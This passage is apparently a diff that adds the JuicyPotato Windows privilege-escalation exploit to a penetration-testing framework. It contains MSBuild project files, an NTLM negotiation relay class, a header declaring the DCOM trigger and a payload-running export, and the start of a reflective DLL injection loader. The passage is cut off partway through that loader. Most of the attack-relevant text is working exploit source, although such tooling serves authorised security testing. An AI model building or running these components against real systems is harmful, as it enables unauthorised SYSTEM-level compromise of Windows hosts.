HRESULT STDMETHODCALLTYPE EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum);
|
||||
HRESULT STDMETHODCALLTYPE MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags);
|
||||
HRESULT STDMETHODCALLTYPE OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg);
|
||||
HRESULT STDMETHODCALLTYPE OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm);
|
||||
HRESULT STDMETHODCALLTYPE RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName);
|
||||
HRESULT STDMETHODCALLTYPE Revert();
|
||||
HRESULT STDMETHODCALLTYPE SetClass(const IID &clsid);
|
||||
HRESULT STDMETHODCALLTYPE SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime);
|
||||
HRESULT STDMETHODCALLTYPE SetStateBits(DWORD grfStateBits, DWORD grfMask);
|
||||
HRESULT STDMETHODCALLTYPE Stat(STATSTG *pstatstg, DWORD grfStatFlag);
|
||||
|
||||
HRESULT STDMETHODCALLTYPE QueryInterface(const IID &riid, void **ppvObject);
|
||||
ULONG STDMETHODCALLTYPE AddRef();
|
||||
ULONG STDMETHODCALLTYPE Release();
|
||||
};
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,200 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{4164003E-BA47-4A95-8586-D5AAC399C050}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>JuicyPotato</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>JuicyPotato</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(SolutionDir)$(Configuration)\$(Platform)\</OutDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;WIN_X86;NDEBUG;_WINDOWS;_USRDLL;RDLL_EXPORTS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN64;WIN_X64;NDEBUG;_WINDOWS;_USRDLL;RDLL_EXPORTS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
<BuildLog>
|
||||
<Path>$(SolutionDir)$(Configuration)\$(Platform)\$(MSBuildProjectName).log</Path>
|
||||
</BuildLog>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="BlockingQueue.h" />
|
||||
<ClInclude Include="ReflectiveLoader.h" />
|
||||
<ClInclude Include="ReflectiveDLLInjection.h" />
|
||||
<ClInclude Include="IStorageTrigger.h" />
|
||||
<ClInclude Include="LocalNegotiator.h" />
|
||||
<ClInclude Include="MSFRottenPotato.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
</PrecompiledHeader>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="IStorageTrigger.cpp" />
|
||||
<ClCompile Include="LocalNegotiator.cpp" />
|
||||
<ClCompile Include="JuicyPotato.cpp" />
|
||||
<ClCompile Include="ReflectiveLoader.c" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
66
external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.vcxproj.filters
vendored
Normal file
66
external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.vcxproj.filters
vendored
Normal file
|
@ -0,0 +1,66 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="IStorageTrigger.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="BlockingQueue.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="LocalNegotiator.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="MSFRottenPotato.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ReflectiveDLLInjection.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ReflectiveLoader.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="IStorageTrigger.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="LocalNegotiator.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="JuicyPotato.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ReflectiveLoader.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,115 @@
|
|||
#include "stdafx.h"
|
||||
#include "LocalNegotiator.h"
|
||||
#include <iostream>
|
||||
|
||||
LocalNegotiator::LocalNegotiator()
|
||||
{
|
||||
authResult = -1;
|
||||
}
|
||||
|
||||
void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
|
||||
{
|
||||
pSecBuffer->BufferType = SECBUFFER_TOKEN;
|
||||
pSecBuffer->cbBuffer = 0;
|
||||
pSecBuffer->pvBuffer = nullptr;
|
||||
|
||||
pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
|
||||
pSecBufferDesc->cBuffers = 1;
|
||||
pSecBufferDesc->pBuffers = pSecBuffer;
|
||||
}
|
||||
|
||||
int LocalNegotiator::handleType1(char * ntlmBytes, int len)
|
||||
{
|
||||
TCHAR lpPackageName[1024] = L"Negotiate";
|
||||
TimeStamp ptsExpiry;
|
||||
|
||||
int status = AcquireCredentialsHandle(
|
||||
NULL,
|
||||
lpPackageName,
|
||||
SECPKG_CRED_INBOUND,
|
||||
NULL,
|
||||
NULL,
|
||||
0,
|
||||
NULL,
|
||||
&hCred,
|
||||
&ptsExpiry);
|
||||
|
||||
if (status != SEC_E_OK)
|
||||
{
|
||||
printf("Error in AquireCredentialsHandle");
|
||||
return -1;
|
||||
}
|
||||
|
||||
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
|
||||
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
|
||||
|
||||
phContext = new CtxtHandle();
|
||||
|
||||
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
|
||||
secClientBuffer.pvBuffer = ntlmBytes;
|
||||
|
||||
ULONG fContextAttr;
|
||||
TimeStamp tsContextExpiry;
|
||||
|
||||
status = AcceptSecurityContext(
|
||||
&hCred,
|
||||
nullptr,
|
||||
&secClientBufferDesc,
|
||||
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
|
||||
//STANDARD_CONTEXT_ATTRIBUTES,
|
||||
SECURITY_NATIVE_DREP,
|
||||
phContext,
|
||||
&secServerBufferDesc,
|
||||
&fContextAttr,
|
||||
&tsContextExpiry);
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
int LocalNegotiator::handleType2(char * ntlmBytes, int len)
|
||||
{
|
||||
char* newNtlmBytes = (char*)secServerBuffer.pvBuffer;
|
||||
if (len >= secServerBuffer.cbBuffer) {
|
||||
for (int i = 0; i < len; i++)
|
||||
{
|
||||
if (i < secServerBuffer.cbBuffer) {
|
||||
ntlmBytes[i] = newNtlmBytes[i];
|
||||
}
|
||||
else {
|
||||
ntlmBytes[i] = 0x00;
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf("Buffer sizes incompatible - can't replace");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int LocalNegotiator::handleType3(char * ntlmBytes, int len)
|
||||
{
|
||||
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
|
||||
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
|
||||
|
||||
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
|
||||
secClientBuffer.pvBuffer = ntlmBytes;
|
||||
|
||||
ULONG fContextAttr;
|
||||
TimeStamp tsContextExpiry;
|
||||
int status = AcceptSecurityContext(
|
||||
&hCred,
|
||||
phContext,
|
||||
&secClientBufferDesc,
|
||||
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
|
||||
//STANDARD_CONTEXT_ATTRIBUTES,
|
||||
SECURITY_NATIVE_DREP,
|
||||
phContext,
|
||||
&secServerBufferDesc,
|
||||
&fContextAttr,
|
||||
&tsContextExpiry);
|
||||
|
||||
authResult = status;
|
||||
|
||||
return status;
|
||||
}
|
|
@ -0,0 +1,21 @@
|
|||
#define SECURITY_WIN32
|
||||
|
||||
#pragma once
|
||||
#include <security.h>
|
||||
#include <schannel.h>
|
||||
class LocalNegotiator
|
||||
{
|
||||
public:
|
||||
LocalNegotiator();
|
||||
int handleType1(char* ntlmBytes, int len);
|
||||
int handleType2(char* ntlmBytes, int len);
|
||||
int handleType3(char* ntlmBytes, int len);
|
||||
PCtxtHandle phContext;
|
||||
int authResult;
|
||||
|
||||
private:
|
||||
CredHandle hCred;
|
||||
SecBufferDesc secClientBufferDesc, secServerBufferDesc;
|
||||
SecBuffer secClientBuffer, secServerBuffer;
|
||||
};
|
||||
|
|
@ -0,0 +1,31 @@
|
|||
#include "Objidl.h"
|
||||
#include "BlockingQueue.h"
|
||||
#include "LocalNegotiator.h"
|
||||
#include <winsock2.h>
|
||||
|
||||
__declspec(dllexport) class PotatoAPI {
|
||||
|
||||
private:
|
||||
BlockingQueue<char*>* comSendQ;
|
||||
BlockingQueue<char*>* rpcSendQ;
|
||||
static DWORD WINAPI staticStartRPCConnection(void * Param);
|
||||
static DWORD WINAPI staticStartCOMListener(void * Param);
|
||||
static int newConnection;
|
||||
int processNtlmBytes(char* bytes, int len);
|
||||
int findNTLMBytes(char * bytes, int len);
|
||||
|
||||
public:
|
||||
PotatoAPI(void);
|
||||
int startRPCConnection(void);
|
||||
DWORD startRPCConnectionThread();
|
||||
DWORD startCOMListenerThread();
|
||||
int startCOMListener(void);
|
||||
int triggerDCOM();
|
||||
LocalNegotiator *negotiator;
|
||||
SOCKET ListenSocket = INVALID_SOCKET;
|
||||
SOCKET ClientSocket = INVALID_SOCKET;
|
||||
SOCKET ConnectSocket = INVALID_SOCKET;
|
||||
};
|
||||
|
||||
extern "C" __declspec(dllexport) void EntryPoint(LPVOID lpReserved);
|
||||
extern "C" __declspec(dllexport) int Juicy(wchar_t *clsid, BOOL brute, LPVOID lpPayload, long lPayloadLength);
|
|
@ -0,0 +1,52 @@
|
|||
#pragma once
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef ULONG_PTR(WINAPI * REFLECTIVELOADER)(VOID);
|
||||
typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,494 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _ReturnAddress )
|
||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||
// available (and no inline asm available under x64).
|
||||
__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
|
||||
//===============================================================================================//
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
|
||||
#else
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||
GETPROCADDRESS pGetProcAddress = NULL;
|
||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||
